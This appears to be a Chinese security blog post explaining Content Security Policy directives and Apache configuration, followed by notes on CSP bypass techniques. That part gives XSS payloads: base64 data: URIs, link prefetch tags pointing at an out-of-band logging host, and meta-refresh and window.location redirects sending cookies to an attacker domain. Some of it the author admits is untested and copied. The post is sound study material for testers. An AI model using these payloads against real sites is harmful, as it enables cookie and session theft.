凡心所向,素履所往

安全策略-csp理解与学习

字数统计: 3k阅读时长: 12 min
2019/01/10 Share

内容安全策略 CSP

百度百科概念:

CSP指的是内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容

直白的说就是通过该浏览器扩展 进行 加载资源脚本的黑白名单限制;实现和执行均由浏览器完成

功能效果

主要用来防注入脚本(比如 xss 加载其他域下的js;广告注入h5页面、运营商的http劫持)图片、iframe、fton、style等等可能的远程的资源

  • 限制远程资源的请求,如通过远程请求将资源如cookie传送出去
  • 记录违规的限制行为,并汇报给指定目标。
CSP和同源策略

在同源策略中 一个页面的资源只能从与之同源的服务器获取,不能从其他域获取;但因此也影响了灵活性,CSP相对来说 可以跨域获取资源,又能防止恶意代码。

使用方式:
要素

CSP域:允许使用CSP的规则

CSP指令集:允许白名单的内容规则

示例

default-src 'self';   

只允许同源下的资源



script-src 'self';     

只允许同源下的js



script-src 'self' www.google-analytics.com ajax.googleapis.com;

允许同源以及两个地址下的js加载



default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self';

多个资源时,后面的会覆盖前面的
  • 常见csp策略
指令 指令和指令值示例 指令说明
default-src ‘self’ cdn.guangzhul.com 默认加载策略
script-src ‘self’ js.guangzhul.com 对 JavaScript 的加载策略。
style-src ‘self’ css.guangzhul.com 对样式的加载策略。
img-src ‘self’ img.guangzhul.com 对图片的加载策略。
connect-src ‘self’ 对 Ajax、WebSocket 等请求的加载策略。不允许的情况下,浏览器会模拟一个状态为 400 的响应。
font-src font.cdn.guangzhul.com 针对 WebFont 的加载策略。
object-src ‘self’ 针对 、 或 等标签引入的 flash 等插件的加载策略。
media-src media.cdn.guangzhul.com 针对媒体引入的 HTML 多媒体的加载策略。
frame-src ‘self’ 针对 frame 的加载策略。
report-uri /report-uri 告诉浏览器如果请求的资源不被策略允许时,往哪个地址提交日志信息。 特别的:如果想让浏览器只汇报日志,不阻止任何内容,可以改用 Content-Security-Policy-Report-Only 头。
  • 其他CSP指令
指令 指令和指令值示例 指令说明
sandbox 设置沙盒环境
child-src 主要防御 ,
form-action 主要防御
frame-ancestors 主要防御 ,
plugin-types 主要防御 ,,
  • 常见指令值
指令值 指令和指令值示例 指令值说明
* img-src * 允许任何内容。
‘none’ img-src ‘none’ 不允许任何内容。
‘self’ img-src ‘self’ 允许来自相同来源的内容(相同的协议、域名和端口)。
data: img-src data: 允许 data: 协议(如 base64 编码的图片)。
www.guangzhul.com img-src img.guangzhul.com 允许加载指定域名的资源。
*.guangzhul.com img-src *.guangzhul.com 允许加载 guangzhul.com 任何子域的资源。
‘unsafe-inline’ script-src ‘unsafe-inline’ 允许加载 inline 资源(例如常见的 style 属性,onclick,inline js 和 inline css 等等)。
‘unsafe-eval’ script-src ‘unsafe-eval’ 允许加载动态 js 代码,例如 eval()。
限制所有的外部资源,都只能从当前域名加载
Content-Security-Policy: default-src 'self' 

可以由http header和html来指定,启用后,不符合 CSP 的外部资源就会被阻止加载。

http header

在服务端的响应包的header中展示 内容均来自于应用自己域,不涉及子域

Content-Security-Policy:default-src'self'
html中通过meta来限制
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">

构建一下csp 来个例子

配置

首先要在配置文件中加载mod_headers.so模块,

sudo  a2enmod headers

在对应的配置文件中,我用的apache2.conf进行配置

LoadModule headers_module modules/mod_headers.so

然后可以添加相关规则

Header set Content-Security-Policy "default-src 'self';"
常见绕过方式
1 文件上传绕过 只允许加载当前域

最常见规则如下:

header("Content-Security-Policy: default-src 'self'; script-src 'self' "); 

针对这种方式,通常使用方法是 找一个文件上传点,上传一个文件内容为js的图片
说到这里 注意一下,浏览器对一个文件做解析/下载 处理的,并不是文件的后缀名
而是服务器返回的mimeType,如果在服务端没有定义的类型,即通俗的mimes.type中没有定义,即没有返回content-type
则在apache服务器中会默认以html格式解析(在nginx服务器中会以octet-stream,直接下载,这里可以使用svg后缀触发svg标签。条件允许的话),所以在遇到上传黑名单的时候,可以试试xx类似的。

测试过程中 一来就折戟沉沙,头大,使用 该规则后,简单测试 xx文件后缀,直接嵌入script标签,

<script>alert(1)</script>

竟然没用,一顿瞎操作后才确定,是因为制定了csp规则的问题。

script-src 'self'; 或者 default-src 'self'

要允许内联的js执行,即添加 “unsafe-inline”

  • 不允许内联时 测试的时候直接alert是没法触发的,所以在常规渗透测试的时候要注意,这个时候用 script src 这类引用是可以的,引用上传的同域js 执行。

使用下列js伪协议的payload可以绕过safari( 12.0.2 )的csp检测,chrome和firefox不行,猜测可能跟csp检测顺序阶段有关(待深入讨论)。

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==" >test</a>

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

Bypass CSP by @akita_zen

Works for CSP like script-src self

  • 允许内联时

可以正常输入输出测试

2、预加载 标签rel属性 绕过只允许加载当前域

谈到这个问题就不得不说一下浏览器的预加载/预读取

  • 2.1 预加载

预加载:目的和js压缩、cdn等类似都是优化浏览器请求时加快请求速度,让浏览器在空闲时间下载或读取资源,用户在将来将会访问这些资源。一个Web页面可以对浏览器设置一系列的预加载指示,当浏览器加载完当前页面后,它会在后台静悄悄的加载指定的文档,并把它们存储在缓存里。当用户访问到这些预加载的文档后,浏览器能快速的从缓存里提取给用户。(来自MDN的解释)

  • 2.1.1 预加载例子

【1】prefetch 预加载资源-旧版chrome可用

实现方法: 通过link实现,将rel属性指定为“prefetch”,在href中指定加载资源的地址。

<!-- 预加载整个页面 -->
<link rel="prefetch" href="http://www.webhek.com/misc/3d-album/" />

<!-- 预加载一个图片 -->
<link rel="prefetch" href=" http://www.webhek.com/wordpress/
wp-content/uploads/2014/04/b-334x193.jpg " />

【2】prerender chrome预渲染-可用

对对应地址所有资源进行渲染

<link rel="prerender" href="http://linux.im">

【3】dns-prefetch DNS预解析-可用

故名思意,DNS预解析 提前将分析页面所需资源域名进行ip转换,使之在请求时尽快完成DNS解析。

<link rel="dns-prefetch" href="http://linux.im"> 

【4】除此之外还有Preconnect(-可用 类似于dns-prefetch,同时会完成握手机制)、subresource、preload
这里接触不多,就不一一多提了。

  • 2.1.2 预加载的绕过

回到我们的重点,预加载针对的CSP绕过规则
在限制了资源请求时,在xss中想要把cookie传送出去

限制如下:

header("Content-Security-Policy: default-src 'self'; script-src 'self' ");

限制了不可信资源的请求,且不允许内联执行这个时候就可以用预加载方式进行绕过 传出需要的数据
如:

【1】 dns-prefetch

<link rel="dns-prefetch" href="http://1221.xxxx.ceye.io">

这个时候就可以在ceye上查看相关dns请求记录

【2】prefetch
在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止)

<link rel="prefetch" href="http://1221.xxxx.ceye.io">

【3】Preconnect、prerender 均测可用,其他的暂未测试。

以下也尚未测试 尴尬 仅摘抄,先写到这吧

3 url跳转

在规则限制为 default-src ‘none’的情况下,此时策略为 默认策略 禁止所有资源(不允许加载所有内容)

可以使用meta标签实现跳转

<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >

在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。

<script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
4 利用浏览器补全

有些网站限制只有某些脚本才能使用,往往会使用'>

在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie

iframe

1.如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:

2.在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如”http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。

meta标签

meta标签有一些不常用的功能有时候有奇效:
meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。

<meta http-equiv="cache-control" content="public">

meta可以设置Cookie(Firefox下),可以结合self-xss利用。
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">

默认特性
  • 阻止内联代码的执行
  • eval 相关功能被禁用
防护问题:
参考:
http://www.ruanyifeng.com/blog/2016/09/csp.html
https://blog.csdn.net/qq_37943295/article/details/79978761
https://paper.seebug.org/423/
https://xz.aliyun.com/t/318
https://paper.seebug.org/91/
http://www.webhek.com/post/link-prefetch.html
存疑

【1】内联js的定义 属于内联还是外联
(通俗的来说 内联 即属于script标签内直接调用,外联属于调用外部js)

CATALOG
  1. 1. 内容安全策略 CSP
    1. 1.0.0.1. 功能效果
      1. 1.0.0.1.1. CSP和同源策略
      2. 1.0.0.1.2. 使用方式:
        1. 1.0.0.1.2.1. 要素
      3. 1.0.0.1.3. http header
      4. 1.0.0.1.4. html中通过meta来限制
    2. 1.0.0.2. 构建一下csp 来个例子
      1. 1.0.0.2.1. 配置
      2. 1.0.0.2.2. 常见绕过方式
        1. 1.0.0.2.2.1. 1 文件上传绕过 只允许加载当前域
        2. 1.0.0.2.2.2. 2、预加载 标签rel属性 绕过只允许加载当前域
        3. 1.0.0.2.2.3. 3 url跳转
        4. 1.0.0.2.2.4. 4 利用浏览器补全
        5. 1.0.0.2.2.5. iframe
        6. 1.0.0.2.2.6. meta标签
      3. 1.0.0.2.3. 默认特性
      4. 1.0.0.2.4. 防护问题:
      5. 1.0.0.2.5. 参考:
      6. 1.0.0.2.6. 存疑